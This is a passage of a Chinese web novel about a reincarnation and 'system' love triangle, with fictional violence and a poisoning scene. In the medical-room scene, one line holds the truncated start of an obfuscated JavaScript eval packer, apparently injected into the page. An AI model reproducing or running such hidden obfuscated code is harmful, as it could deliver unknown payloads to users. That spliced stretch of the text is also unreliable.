车门打开,顾清珩修长的腿迈了出来。 他身上穿着一件浅灰色的呢子大衣,衬得他身形愈发清瘦挺拔。 他一边听着手机,一边下了车。 林郁小跑着帮他关上车门。 电话那头,传来孟廷凛一贯低沉的声音。 “昭月的性子怕生,对陌生环境需要适应。” “婚事不一定着急。” 顾清珩声音清冷:“我听从父亲和孟会长的意思,毕竟是父母之命。” 电话那头沉默了片刻,孟廷凛的声音冷了一些。 “前天她人不知道去了哪里。” 言下之意很明确,就算想催婚,也得先把人找到才行。 “没事的。”顾清珩的语气淡淡的。 “我已经从缅国出差回来了,后续我会直接和昭月接触。” “而且……” 他顿了顿,唇角勾起一个极浅的弧度,仰头看着那栋在晨光中显得格外冰冷的建筑。 “我想,我大概知道她在哪里。” ...... 同一时间,公寓内。 时莉莉受到系统崩溃带来的冲击,身体猛地一晃,一口鲜血毫无征兆地从口中喷涌而出。 “莉莉小姐!”旁边的保镖大惊失色,连忙上前扶住她。 时莉莉眼前一黑,昏了过去。 时莉莉是时家家主最宠的女儿,但凡出了点问题他们这些保镖都担待不起。 “先撤。” 没时间管时卿舟和孟昭月了,保镖抱起时莉莉,带着剩下的人快步离开了这个是非之地。 玄关恢复了安静。 孟昭月刚想说些什么,就看到时卿舟朝着她走了过来。 他手臂上那道狰狞的伤口还在不断地向下淌着血。 暗红色的液体滴落在地毯上,随着他的脚步,留下了一路的红色花朵。 “阿卿……” 她的话没说完,就被一双带着血腥气的手捧住了脸颊。 时卿舟的吻,疯狂而用力地落了下来。 他吻得毫无章法。 失而复得,狂喜与恐惧交织。 在确认自己拼死夺回的珍宝。 他不断地加重力道。 啃咬、厮磨,把她整个人都吞进腹中,揉进骨血里,再也不分开。 我好想你……月月…… 还好,我回来了…… 清晨的阳光透过落地窗斜斜地照射进来,落在了紧紧相拥的两人身上。 夺目而耀眼。 直到孟昭月快要窒息,发出细碎的呜咽声,时卿舟这才稍稍松开了她,却依旧没有完全离开。 孟昭月大口大口地喘息着,眼角泛起生理性的泪花,看起来被欺负得狠了。 他一下接着一下地亲吻着她的唇角,细碎而密集。 像是在安抚,又像是在烙印下自己的专属标记。 他的吻逐渐向下,沿着她优美的下颌线,滑至纤细的脖颈。 当他温热的唇触碰到那个还未完全愈合的咬痕时,他的动作停住了。 然后,他伸出舌尖,用力地舔了舔那个伤口。 他要用自己的气息,覆盖掉另一个灵魂留下的所有痕迹。 孟昭月被他弄得一颤,好不容易平复下去的呼吸又乱了。 她连忙伸手推开了他,下意识地捂住了自己的脖子。 真的是,都跟她脖子上的咬伤过不去了吧? 每次伤口好不容易好了一些,就又被他弄破了! 时卿舟看着她护食小猫一样的动作,低低地笑了一声。 他伸手,拉住了她捂着伤口的手,将她的手掌摊开,然后在她的手心印下一个轻柔的吻。 “月月的手没洗过,直接碰伤口,会发炎的。” 孟昭月嘟起嘴:“你们资格说我,你自己伤得比我严重。” 她看着时卿舟那条还在流血的手臂,刚刚还气鼓鼓嘟起的嘴唇,立刻撇了下去,眼眶也跟着红了。 “看起来好痛的样子……快处理一下。” 看得她心疼**。 时卿舟看着她,没忍住,又凑过去用力地亲了她一下。 “好的,我叫江浩奚过来。” 孟昭月忍不住问。 “到底发生了什么?” “为什么你昨天晚上表现得那么奇怪?” “还有你的手臂……你该不会精神**吧?” 时卿舟闻言,温和地笑了笑:“月月这样理解,也可以。” 他拉起她的手,按在了自己的胸口上,心脏的位置。 隔着薄薄的衬衫,她能清晰地感觉到他强劲有力的心跳。 “它有时候不听话。”他的声音很轻,却很平静。 “但是另一个人格怕疼,我不怕疼。” “所以在它不听话的时候,只要我疼,它就会听话了。” 时卿舟微微垂下眼眸,看着被自己握在掌心里的那只小手,声音愈发温柔。 “别害怕,无论发生了什么,我都会回来的。” “我一定会回来的。” “你只需要相信我,等着我就行。” 他被陷在无尽的虚无之中,然后是被撕裂的痛苦。 一种源自概念层面的、不可抗拒的抹除。 他的存在,他的记忆,他与这个世界的一切链接,都在被一股强大的力量一点一点地剥离、湮灭。 黑暗,无边无际的黑暗。 他像一粒尘埃,在绝对的孤寂中坠落,意识逐渐消散,归于混沌。 他就要彻底消失了。连同他对她的、那份刻入灵魂的爱一起。 就在那时,他听到了她的声音。 “时卿舟,你回来。” 那声音很轻,却像一道闪电,劈开了一切寂灭。 是她。 是他的月月。 她在叫他。 那一瞬间,一切开始重组凝聚。 他用尽最后的力量,抓住了那道声音,那道唯一的光。 他挣扎着,从概念的坟墓中,死亡的虚无中,一点一点地,爬了回来。 时卿舟重新将孟昭月紧紧地抱进怀里,脸深深埋入她的颈窝。 感受着她真实的体温和心跳。 他发出了一声满足的喟叹。 我的月月…… …… 电梯门“叮”的一声滑开,入户玄关处是一片狼藉。 被炸开的金属门扭曲变形,碎片和烟尘铺了一地,空气中还残留着硝烟的味道。 顾清珩站在电梯口,看着这副惨状,清冷的眉梢挑了挑。 紧接着,一个女孩的声音从屋里传来,带着浓得化不开的心疼。 “上次你说事不过三,现在flag成真,真的三次了。” 顾清珩的脚步顿住了。 她的声音……真好听。 前世,在他最狼狈、最孤立无援的时候,她也是用这样的声音,小心翼翼地关心他,将他从泥沼中一点点拉出来。 那是他贫瘠生命里的光。 回想起曾经的记忆,他心里的暖意慢慢荡开。 但是一想到她现在的关心是为了另一个男人。 顾青珩的顿时心情又不美妙了。 嫉妒、烦躁。 他直接从那扇洞开的门走了进去,皮鞋踩在破碎的金属片上,发出“嘎吱”的声响。 客厅里,时卿舟正靠在沙发上,左手搭在扶手上。 江浩奚戴着金丝眼镜,正在帮他上药。 而孟昭月就坐在他身边。 一张写满担忧的小脸,眼眶红红的,像只快要急哭的小兔子。 时卿舟正拉着她的手,放在自己唇边,用一种虚弱又可怜的语气撒着娇。 “月月帮我吹吹就好了……” 顾清珩看着眼前这副刺眼的画面,唇角勾起一抹毫不掩饰的讥诮。 “时少爷真是好兴致,都伤成这样了,还有心思在这演苦肉计。” 清冷的声音打破了室内暧昧黏腻的氛围。 孟昭月听到声音,下意识地回头。 时卿舟听到声音没有什么反应。 他甚至还有心情慢条斯理地在孟昭月的指尖亲了一下。 然后才不紧不慢地抬起头,看向那个不速之客。 他的表情是一贯的温和,声音听不出任何不悦,话却跟涂了毒一样。 “我还以为是谁,原来是顾议员不请自来,脸皮挺厚。” “时少爷家门户大开,我还以为是特地在欢迎客人。”顾清珩毫不客气地回敬,目光在被炸毁的门上扫了一圈,嘲讽道。 江浩奚抬头对顾清珩礼貌地点了点头:“顾议员。” 顾清珩也颔首回应,然后径直走向沙发。 时卿舟看着他逼近,脸上的笑意不变,只是语气淡了几分。 “抱歉,我受了点伤,恐怕没时间招待顾议员。” “没关系。”顾清珩的脚步没有丝毫停顿,唇角噙着冷笑,“我不是来看你的。” 他说着,直接在沙发上坐了下来,就坐在孟昭 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他几乎是从牙缝里挤出这几个字,声音里是压抑到极点的怒火。 “我警告你,别碰她。” 时卿舟闻言,挑了挑眉,非但没有松手,反而将怀里的人搂得更紧了。 孟昭月:“……” 这两个人! 她又羞又恼,用力地从时卿舟怀里挣脱出来,也甩开了顾清珩的手。 “我……我去给你们倒水!” 她丢下这句话,几乎是落荒而逃地冲向了厨房。 看着女孩落荒而逃的背影,客厅里两个男人之间的气氛愈发冰冷。 顾清珩压下心头的怒火,重新看向时卿舟,声音里是毫不掩饰的厌恶。 “到底发生了什么?” 时卿舟懒洋洋地靠回沙发,语气平淡地将时莉莉的事情简单说了一遍。 顾清珩听完,瞥了一眼他那条新添的伤臂,又看了看上面交错纵横的旧疤痕,扯了扯嘴角。 “难怪你这条手臂烂成这样。” “多谢关心。”时卿舟温和地笑了笑,丝毫不在意他的嘲讽,反而故意说道。 “月月看到的时候,她可心疼了。” 顾清珩:“……” 真不要脸,简直是男人之耻。 他心里暗骂一句,随即又有些懊恼。 第二世的时候,他怎么就没想到用疼痛来压制身体里那个废物人格? 白白浪费了那么多与昭月相处的机会。 亏**。 “不过,你也不能每次都捅自己吧?”他皱眉问道。 “当然不用。”时卿舟的唇角勾起一个极浅的弧度。 “我让浩奚研发了一种神经性药物,服用后,身体会产生剧烈的疼痛感,但不会造成实质性伤害。” 他说着,看了一眼正在专心处理伤口的江浩奚。 “说起来,之前的药都被那个家伙全扔了,你记得帮我补一些。” 江浩奚点了点:“是。” 时卿舟收回目光。 没办法。 杀了这个世界的锚点,灵魂就会被世界标记、抛弃,无法正常重置。 只能以残魂的形式,在世界重置后,依附在现世的“角色”上。 第二世的顾清珩是这样,现在的时卿舟也是。 一般来说,残魂能量微弱,清醒的时间会很短,大部分时间都会被主人格压制,陷入沉睡。 之前的顾清珩就是如此。 但是,他时卿舟是什么人。 只要能达到目的,他可以不择手段,对别人狠,对自己也狠。 想着,时卿舟的目光落在了厨房端着水杯走出来的纤细身影上。 永远只属于他。 他的月月。 就算是神,也无法阻止。 时卿舟脸上的神情愈发温柔。 他重新看向顾清珩,声音恢复了平淡。 “所以,顾议员今天大驾光临,到底有何贵干?” 孟昭月端着两杯水走了过来,一边小心翼翼地将杯子放到茶几上,一边竖起耳朵,光明正大地听着。 顾清珩没有看时卿舟,他的目光一直追随着孟昭月。 “我受孟家所托,来带我的未婚妻,去参加顾孟两家的见面宴。” 他的声音清冷,却在“未婚妻”三个字上,加重了读音。 孟昭月放杯子的手一抖,水差点洒出来。 第83章 有时候,我真嫉妒你 时卿舟脸上的笑容依旧温和,他伸手接过孟昭月递来的水杯,轻轻抿了一口。 “顾议员是不是弄错了什么?” 他的声音温和悦耳。 “月月不可能是你的未婚妻。” 他顿了顿,用一种陈述事实的平淡语气,说出了足以引爆全场的话。 “毕竟,我们已经睡过了。” 孟昭月的大脑“轰”的一声,彻底炸开。 她不敢置信地瞪大了眼睛,看着身边这个云淡风轻说出惊人之语的男人。 睡……睡过了?! 他怎么……这么直接地把这种事情说出来啊! 脸颊的热度以一种恐怖的速度向上攀升,从脖颈一路烧到耳根,整个人都快要蒸腾出热气。 顾清珩也愣住了。 他看着孟昭月那张红得快要滴血的小脸,又看了看时卿舟脸上那副理所当然的表情,清冷的脸色瞬间沉了下去。 “昭月,他是不是强迫你了?” 这个疯子有前科,他的第一反应就是这个。 孟昭月被他问得一愣。 虽然昨晚的情况确实有点特殊,但她是自愿的呀。 孟昭月连忙摇了摇头,声音细若蚊吟。 “没有……他没有强迫我。” 她的视线有些飘忽着落在地毯的花纹上。 “我是……自愿的。” 说到最后几个字,她的声音已经小到几乎听不见,脸颊也烫得能煎鸡蛋了。 “虽然……当时情况比较紧急……”她小声地补充了一句。 话音落下的瞬间,时卿舟脸上的笑意更深了。 他依旧是那副温柔的面具,只是那桃花眼里是止也止不住的得意。 顾清珩看着两人之间的互动,只觉得胸口一阵气闷。 他冷哼了一声。 “那又如何?” 他冷冷看着时卿舟。 “不过是你不知检点,趁人之危罢了。” “我家昭月心思单纯,容易被你这种**蒙骗。” 他顿了顿,唇角勾起一抹讥诮的弧度。 “你以为,我和昭月的婚事,会因为这么一点小事就取消?” 孟昭月有些惊讶地抬起头。 她没想到,在这种情况下,他竟然还会坚持婚约。 时卿舟微微眯起了那双桃花眼,周身的气息冷了几分,但脸上的温柔面具依旧牢固。 “恐怕要让顾议员失望了。” 他慢条斯理地开口。 “因为,我和月月,要去领证了。” “她同意了的。” “同意”两个字被时卿舟加了重音。 月月她可是自愿的。 “领证?”顾清珩像是听到了什么天大的笑话,冷笑出声。 “时卿舟,我要是能让时卿舟和孟昭月成功领证,那我也就不用姓顾了。” “你可别忘了你领证的地方,是顾家的地盘。” 时卿舟的声音依旧温和:“我和月月两情相悦,还请顾议员别没脸没皮地纠缠。” “两情相悦?”顾清珩站起身,居高临下地看着他。 “时少爷,这一次,我势力可比你大。” “我要孟昭月,你挡不住。” 时卿舟脸上的温柔笑容,终于渐渐淡去。 他死死地盯着顾清珩,那双桃花眼里风暴正在酝酿。 顾清珩毫不畏惧地与他对视。 “时卿舟,你是反派没错。” “但如果必要,我不介意,成为你和孟昭月的反派。” “我是不可能把昭月让给你的。” 时卿舟闻言突然笑了,带着几分狂放的意味。 “好啊。” “你尽管抢。” “看看我时卿舟的人,你抢不抢得走。” 一旁默默帮时卿舟处理好伤口的江浩奚,感受到那股几乎要凝成实质的**味,他悄无声息地拎着自己的医药箱,往后退了三大步。 就在这**味十足的对峙中,一道软软糯糯的声音,突兀地插了进来。 “那个……” 孟昭月举起手,像个上课提问的小学生。 “什么反派啊?你们在说什么呀?” “怎么听起来……像是小说里的角色?” 两个男人同时一愣,齐刷刷地转头看向她。 孟昭月看着他们,似乎是突发奇想,眼睛亮晶晶地问:“说起来,如果这个世界真的是一本小说,你们说……我会是什么角色呀?” 时卿舟和顾清珩都沉默了。 然后时卿舟勾起唇,眼中慢慢盛满了温柔的笑意 他伸出手,动作轻柔地,将她颊边的一缕碎发别到耳后。 “那月月,一定是女主角。” 他的声音低沉而缱绻。 顾清珩也勾起了唇角,原本清冷的眉眼柔和了下来。 “对。” “一定是有着最幸福结局的女主角。” 孟昭月听到这两个答案,心满意足地甜甜笑了起来:“如果是这样的话,那真好呀。” “那你们也都要有幸福的结局呀。”她说。 时卿舟闻言,笑容更加温柔了。 “会的,月月。” 顾清珩闻言微愣,随即眉目也彻底温柔下来。 “嗯,会的。” 凝固的气氛,似乎在这一刻稍稍缓和了一些。 顾清珩看着她脸上的笑容,心头一动。 “昭月,想不想……回你的家看看?” “家?”孟昭月愣了愣,随即摇了摇头,脸上的笑容甜美乖巧。 “我没有家呀。” 时卿舟听到孟昭月的话,下意识地伸手,牵住了她的手。 孟昭月眨了眨眼,看向他。 时卿舟对她温柔地笑了笑,将她的手握得更紧了些。 顾清珩看到这一幕,脸色微微冷了一些。 他直接上前一步,插到了两人中间,隔开了他们交握的手。 “是你的家。”他看着孟昭月:“你名下的不动产。” 孟昭月微微歪头,有些惊讶。 她还有房吗? 时卿舟闻言也反应了过来,他挑了挑眉,看向顾清珩。 “原来花禾那套公寓,是被顾议员插手了。” 难怪他重生后想要提前买下来,派人去办手续,一直办不下来。 顾青珩难得找回场子:“毕竟……有些事早做准备的好。” 早重生几年,就是方便。 时卿舟:“……”拳头硬了。 …… 公寓的日用品没准备,所以孟昭月被带到了商场。 一家名为“MaisonPrivée”的高级生活方式集合店。 “这个是瑞士进口的,刷毛很软。”顾清珩拿起一支简约的白色电动牙刷。 “德国的,负离子技术,可以深度清洁。”时卿舟则拿起了一支科技感的黑色电动牙刷。 两支牙刷同时递到了孟昭月面前。 孟昭月:“……” 她看着眼前这两支加起来价格能买一台顶配游戏本的牙刷,又看了看两个男人脸上那“快选我”的表情,只觉得太阳穴突突直跳。 她随手拿了时卿舟手里的黑色牙刷,然后又从顾清珩手里拿过一个配套的漱口杯。 “好了,一人一个,公平。”她软软地说,试图结束这场幼稚的战争。 然而,她显然低估了男人的胜负欲。 从毛巾的产地材质,到浴袍的款式颜色,再到香薰的品牌香调…… 每一件物品,都变成了他们暗自较劲的战场。 孟昭月被夹在中间,被迫当了十几轮裁判,感觉自己快要原地**了。 直到……女性护理区。 “这个是纯棉表层。”顾清珩的声音依旧清冷。 前前世孟昭月喜欢用的是这个,他经常帮孟昭月买。 “这个是液体材质的。”时卿舟的语气依旧温柔,脸上甚至还带着体贴的笑意。 前世他专门让团队给孟昭月做过调研,孟昭月用起来最舒服的是这个。 孟昭月盯着递到眼前的两包东西。 “……” 为什么这两个男人会对这种东西这么熟悉啊? 这幅堪称诡异的场景,让不远处一个正在整理货架的导购员,频频朝着他们这边投来目光。 孟昭月脸色通红:有地缝吗?想钻。 她一把抢过两人手中的东西,胡乱塞进购物车里,然后用力地将两个男人往反方向推。 “你们两个!都给我去门口等着!” “我自己买!” 时卿舟和顾清珩对视一眼,看着女孩气得通红的小脸和快要冒烟的头顶,很识趣地没有再继续火上浇油。 孟昭月看着他们走远,这才长长地松了口气,感觉整个世界的空气都清新了。 就在这时,不远处的一个货架拐角,一道不怀好意的目光落在了她的身上。 江浩宇正陪着一个新 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“两位……这是什么意思?”江浩宇强撑着镇定,挤出一个比哭还难看的笑容。 时卿舟温和地笑了笑,伸出手,轻轻拍了拍他的肩膀。 “没什么意思。” “只是想请江总,配合一下。” …… 孟昭月买完东西,提着两袋东西走到商场门口,就看到时卿舟和顾清珩从商场里面的一个员工通道走了出来。 她有些疑惑:“你们怎么从里面出来了?” 他们刚刚不是被她推到门口了吗? “没什么事。”时卿舟温柔地接过她手中的购物袋,“只是处理了一些垃圾。” 顾清珩也自然而然地接过了她另一只手上的袋子,冷冷地补充了一句。 “脏东西。” 孟昭月看着两人,总觉得他们好像瞒着自己做了什么,但又说不上来。 …… 进入花禾小区时,天色已经擦黑。 公寓的门被打开,里面的景象让孟昭月惊讶地睁大了眼睛。 整个公寓的装修风格,完全就是她梦想中的样子。 简约的奶油风,大片的落地窗,可以看到窗外城市的夜景。 “这……真的是我的房子?”她不敢置信地转过头,看向顾清珩。 她不记得了,但是确实如果她自己装房子,肯定就是装成这样的。 顾清珩点了点头,清冷的眉眼柔和了下来:“嗯,是你的。” 时卿舟则在一旁,将购物袋放到玄关的柜子上,语气温和地补充了一句。 “只要你喜欢,就是你的。” 孟昭月的心里,涌上一股暖流。 她好像有家了。 三人开始动手,将买回来的东西一一归位。 时卿舟细心地将她新买的洗漱用品在浴室里摆放整齐,甚至还按照她的使用习惯调整了位置。 顾清珩则帮她把新买的床品换上,动作虽然有些生疏,但很认真。 夜深了,东西都收拾得差不多了。 孟昭月窝在沙发上,不知不觉就睡着了。 顾清珩站在巨大的落地窗前,看着窗外沉沉的夜色,眉头微蹙。 “有人。”他低声说。 小区的林荫道上,停着几辆黑色的轿车,没有开车灯,像蛰伏在黑暗中的野兽。 时卿舟正在帮睡着的女孩盖毯子,闻言动作顿了顿。 “我之前就看到了。”时卿舟的声音很平淡,“是时费的人。” 顾清珩转过头,看向他:“你打算怎么办?” 时卿舟没有回答,他只是低下头,看着沙发上那个安睡的身影。 女孩睡得很沉,长长的睫毛在脸颊上投下浅浅的阴影,嘴角还带着一丝甜美的笑意。 顾清珩也顺着他的目光看去。 客厅里很安静,只有窗外偶尔传来的风声。 两个男人就那么沉默地站着,看着同一个女孩。 过了很久,顾清珩才缓缓开口,声音里带着一丝不易察觉的沙哑。 “有时候,我真嫉妒你。” 时卿舟轻笑一声,伸手,轻轻抚过女孩柔软的发丝。 “你是该嫉妒。” 他的声音很轻,却带着某种笃定的意味。 “毕竟,她是世间最珍贵的宝贝。” 第84章 等我 凌晨五点。 花禾公寓的门前,几个黑衣人正在撬锁。 就在这时,门“咔哒”一声,突然开了。 黑衣人愣了愣,抬头,就对上了一双含笑的桃花眼。 时卿舟就站在门后,抱手看着对方。 “有事?”他的声音很轻,却让身经百战的黑衣人瞬间绷紧了神经。 黑衣人连忙躬身,额头上渗出冷汗:“时……时少爷,我们奉先生的命令……” 时卿舟挑了挑眉:“时费让你们来撬我的门?” “不、不是!”黑衣人吓得连忙摆手,“先生说……说莉莉小姐在您的地方受了伤,情况很严重,让我们务必请您回去一趟。” 时卿舟脸上的笑意淡了些。 “知道了。” 黑衣人如蒙大赦,连忙退了出去,在门口恭敬地等候。 时卿舟正准备离开,身后就传来一个带着几分惺忪睡意的、软软糯糯的声音。 “阿卿。” 他的脚步顿住了。 时卿舟转过身,看到孟昭月站在客厅的阴影里。 那双干净的杏眼在昏暗的光线下显得格外明亮。 “你们先下去。”时卿舟的声音恢复了惯有的温和,“我马上就过去。” “是。”门口的保镖识趣地离开了。 玄关处,只剩下了他和孟昭月。 “怎么还没睡?”他走上前,很自然地伸手,将她颊边的一缕碎发别到耳后。 孟昭月眨了眨眼,那双漂亮的杏眼里满是无辜。 “下午睡太早了,醒了就睡不着了。” 时卿舟轻笑一声,揉了揉她的脑袋,声音宠溺:“月月乖,再睡一会,嗯?” 孟昭月摇了摇头。 她没有说话,只是从衣服的口袋里,拿出了一张折叠起来的纸条,在他面前展开。 上面是时卿舟的字迹。 「暂时离开一会,马上回来。」 “如果我再睡的话。”她的声音很轻,带着一丝不易察觉的委屈。 “我的老公,好像就要没有了。” 时卿舟伸出手,轻轻握住她举着纸条的手。 “不会的。”他的声音温柔得能滴出水来,“乖,别胡思乱想。” 孟昭月抽回了手。 时卿舟脸上的温柔笑意,在那一瞬间凝固了。 心脏顿时被某种名为恐慌的情绪攥住。 她……生气了? 是不是……又要离开他? 他正想说什么,就看到孟昭月将那张纸撕掉了。 两半,四半,八半…… 直到变成一堆细小的、无法再撕的碎片。 时卿舟的伸出的手僵在原地。 他感觉自己的世界,好像也跟着一起,寸寸碎裂。 不要…… “月月……”他听到自己发出了一个破碎的音节。 孟昭月抛开纸屑。 白色的纸屑,如同雪花般,纷纷扬扬地,从她指间飘落。 就在这时,孟昭月突然上前一步,一把抓住了他的衣领,踮起脚尖,吻了上去! 纸屑漫天飞舞。 时卿舟彻底愣住了。 唇上传来温软的触感,带着她独有的、甜美的气息。 这一瞬间,他感觉自己的血液先是凝固,然后猛然倒流、炸裂。 他猛地扣住她的后颈,加深了这个吻,瞬间夺回了所有的主导权。 失而复得的疯狂,刻入骨髓的占有欲。 掠夺,纠缠。 不知过了多久,直到孟昭月快要喘不上气,发出细碎的呜咽声,时卿舟才稍稍松开了她。 他抵着她的额头,胸口剧烈地起伏着,那双漂亮的桃花眼里,翻涌着浓稠到化不开的疯狂与偏执。 孟昭月喘息着,仰着一张泛着潮红的小脸,那双被吻得水光潋滟的杏眼一瞬不瞬地望着他。 “我会等你的。” “等你回来,做我们没有做完的事情。” “领证。” 时卿舟看着她,感觉自己那颗早已差点变成空洞的心脏,正在被一种极致感受,一点一点地填满。 他的神明…… 他真的好喜欢她。 喜欢到……要疯掉。 “下午。” 他听到自己的声音在颤抖。 “下午,我回来接你,这次一定。” “等我。” “一定要等我。” 说完,他松开她,几乎是落荒而逃地离开了公寓。 他怕再多待一秒,他就会真的失控。 …… 孟昭月看着那扇被重新关上的门,唇角不受控制地向上扬起。 阿卿…… 怎么办,感觉好幸福。 她回到客厅,准备回卧室再补个回笼觉。 然而,当她经过沙发时,脚步却猛地顿住了。 沙发上,一个高大的身影。 顾清珩就那么安静地坐在那里,手里端着一杯热可可,袅袅的热气模糊了他清冷的眉眼。 他显然已经将刚才玄关处发生的一切,都尽收眼底。 孟昭月有些尴尬,他还没走啊? “醒了?”顾清珩开口,声音清冷,听不出情绪。 “嗯。”她走到他对面的沙发坐下:“你……在这里过夜的?” 顾清珩轻轻“嗯”了一声,将手中的杯子放到茶几上,推到她面前。 “早上喝点热的,对胃好。” 孟昭月犹豫了一下,端起那杯热可可,小口地喝着:“谢谢。” 一时间,气氛有些安静。 “顾青珩,我不想去参加那个莫名其妙的见面宴会。”她闷闷地说。 “我知道。”顾清珩点了点头,并没有感到意外:“但是你没有选择。” 孟昭月愣了愣,看向顾青珩,等待着他的下文。 顾青珩偏头看着孟昭月,眼中真挚。 “昭月,顾家和孟家联姻是两个大家族的利益捆绑,是两家高层推动下一定要达成的,这不是个人意志能阻挡的。” “就算你逃过这次见面宴,那么一定会有第二次、第三次,直到两个家族达成目标。” “你的回避,只会让他们用更激烈的手段来阻止你。” “甚至会牵连时卿舟。” 顾清珩继续说,声音平稳而清晰。 “月月,我承认,时卿舟手段确实了得,但他不是神,他不可能时时刻刻都护着你。” “而且你见过时莉莉、见过时燃,你应该明白时家内部的争斗,比你想象的更残酷,弄不好,是会**的。” “时卿舟今天被迫离开,说明他在时家尚未立足。” 孟昭月咬了咬下唇,没有说话。 顾清珩的声音放缓了一些,带着引导的意味 “但是你出席晚宴,至少可以争取谈判的空间。” “去看看,总不会差的,对吗?毕竟这只是见面宴,不是订婚或者结婚宴。” “昭月,你希望看到时卿舟,为了你,焦头烂额,四处树敌吗?” 孟昭月捧着杯子的手指慢慢收紧。 顾青珩微微勾起唇。 第一世的时候,C国外交官,谈判桌上,永远不败的顾青珩。 他安抚的声音继续响起: “昭月,你是个聪明的女孩。” “你应该知道,怎么选,才是对你们最好的。” 孟昭月沉默了。 她被绕进去了。 “好吧,我去。” …… 时家庄园。 时卿舟刚一进门,姜玦就迎了上来,递上了一个白色的小药瓶。 他接过药,收进口袋,声音很冷:“时莉莉呢?” “莉莉小姐在医疗室,情况已经稳定了,那边已经安排好了。”姜玦低声汇报。 时卿舟的脚步没有停。 “顾家那边,安排下去,直接用暗桩。” “下午我会和月月去领证,这次我不希望有任何意外。” “秦御回国了?让他们提前去守着。” 就算顾清珩会从中作梗,那证他时卿舟就非领不可了。 姜玦:“是。” 说完,他便径直走向了时费的书房。 门刚一推开,一个物体就裹挟着劲风,朝着他的面门狠狠砸了过来。 时卿舟侧身躲开。 “砰!” 那方上好的端砚撞在身后的门上。 “你还知道回来?!” “时卿舟!你就是这么照顾你姐姐的?!”时费的怒吼声在书房里回荡。 就在这时,一道轻柔的女声从书房的内间传来。 “费哥,别生气,气坏了身子可怎么好。” 一个纤细的身影走了出来。 女孩的皮肤在昏暗的灯光下白得发光,一双眼睛水汪汪的,瞧着就是清纯美好。 是白岺。 她走到时费身边,很自然地靠在他怀里,伸出纤细的手指,轻轻抚平他紧蹙的眉头。 “男孩子嘛,又不像女孩心细,做事总是心粗一些。” 她一边说着,一边用眼角的余光,不着痕迹地扫了一眼站在那里、面无表情的时卿舟。 “卿舟少爷也不是故意的,没注意姐姐身体不好,您就别怪他了。” 时费的火气,在她的安抚下,消散了一些。 他冷哼一声,重新坐回椅子上。 “去看看你姐姐,她要见你。” “她喜欢你陪着,你就给我好好陪着,再闹幺蛾子,你就滚中东去。” “滚吧。” 时卿舟的目光短暂的和白岺交汇一瞬,然后离开了。 …… 雪后的天空是一种干净的铅灰色,空气清冽。 孟昭月坐在公寓的沙发上,目光落在窗外那棵挂着残雪的梧桐树上,有些出神。 从早上等到下午,时卿舟还是没有回来。 她知道他一定是被时家的事情绊住了,可心里还是忍不住泛起一丝小小的失落。 “晚宴快开始了。”顾青珩的声音传来。 他换上了一身深色的西装,衬得他身形愈发挺拔,清冷的气质在冬日的空气里显得格外突出。 孟昭月“哦”了一声,默默地回卧室换上了顾清珩提前让造型师送来的礼服。 是一条月白色的长裙,低调而华美,以及一串东海珠项链。 血钻项链被放到床头柜上。 …… 车内,暖气开得很足。 “时卿舟估计被他父亲管制着,大概率是来不了了。”他打破沉默,声音清冷。 孟昭月正看着窗外飞速**的街景,闻言转过头,很认真地看着他。 “他一定会来的。” “我会等到他,然后听他告诉所有人,我们什么都不怕。” 她的声音软软糯糯。 那双干净的杏眼,在昏暗的车厢里亮晶晶的,像盛满了星星。 顾清珩握着方向盘的手,在那一瞬间收紧了。 指节因为用力而泛白。 他嫉妒。 疯狂的嫉妒。 嫉妒时卿舟能拥有她这样毫无保留的、纯粹的信任。 可同时,他又无可救药地爱着这份纯粹。 他沉默了很久,久到孟昭月以为他不会再说话了。 车子在一个红灯前停下。 顾清珩突然伸出手,轻轻地从她耳边捻起一缕柔软的长发。 他低下头,薄唇在那缕发丝上,印下了一个轻柔的、克制的吻。 “你这样……” “让我更加不想放开你了。” …… 时家庄园,西翼医疗室。 心脏监护仪发出规律的“滴滴”声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【一旦发现她被“女配系统”纠缠,就会毫不犹豫地杀死锚点女主,重置世界。】 【世界因此重启了四十七次,“女配系统”能量耗尽,直接报废。】 “所以我才在系统的建议下把孟昭月弄缅国去了!防止我的小狗和孟昭月接触爱上她,影响我的攻略任务。”时莉莉不甘心:“我都杀了她这么多次,就是**不死!” 系统继续道。 【而第三次……也就是上一次,他更进一步。】 【在防火墙崩溃的瞬间,捕捉并撕碎了旧系统的核心代码。】 【现在的情况超出了祂的预料,很危急。】 时莉莉握紧的拳头微微颤抖。 “那你是什么系统?” 【女主觉醒系统。】 就在这时,医疗室的门被推开。 时卿舟走了进来,他的脸色有些白,手上将药瓶重新塞入口袋里。 时莉莉看着他,眼中瞬间燃起疯狂的占有欲和不甘。 “小狗,我明明以前对你那么好!为什么你还是会爱上孟昭月那个**?!” “我不理解!难道是我的方式错了?” “恶女训狗对你没用,非要用那种老掉牙的救赎戏码不可?!” 时卿舟脸上挂着温和的笑意,那双桃花眼里却没有丝毫温度。 “无论训狗,还是救赎,或者其他的什么方式,都有用。” 时莉莉的眼睛亮了起来:“小狗……” “但是,”时卿舟打断了她,声音温柔却残忍,“只限于月月。” “我可以当狗,可以当被救赎的冉阿让,或者其他的什么。” “但,只限于她。” “你——!”时莉莉气得浑身发抖。 “那又怎么样?!只要Hero在一天,你就得乖乖听话!” 时卿舟闻言,笑了。 “我可不是那个废物。” “你以为,时费还管得住我?” “那你怎么还回来看我?!”时莉莉挑衅道,“还不是乖乖听Hero的话!” 时卿舟的声音很平淡:“我来找你是因为……” “我等一下要去找月月。” “我们会领证,会永远在一起。” “我不希望你再像上次那样捣乱。” “所以……” 他抬手,轻轻拍了两下。 一个护士走了进来,对着时卿舟躬身行礼。 “先生,‘安乐天使’的药效时间到了。” 安乐天使,一种注射型的神经毒素,会让人在无知无觉中,心脏慢慢停止跳动。 时莉莉的瞳孔骤然缩紧,她意识到了不对劲,挣扎着想从床上起来,却发现自己浑身乏力,动弹不得。 她死死地盯着时卿舟。 小狗! 小狗!!!! 她在不甘中慢慢闭上了眼睛。 心脏监护仪上的曲线,拉成了一条直线。 “滴————” …… 京江市,“玉满堂”私房菜馆,檀香袅袅。 孟昭月跟着顾清珩走进去,目光不经意地扫过一个正在上菜的服务员。 她总觉得那个服务员的身影很眼熟。 对方穿着一身改良式的旗袍,身段窈窕,动作麻利。 孟昭月盯着她看了好半天。 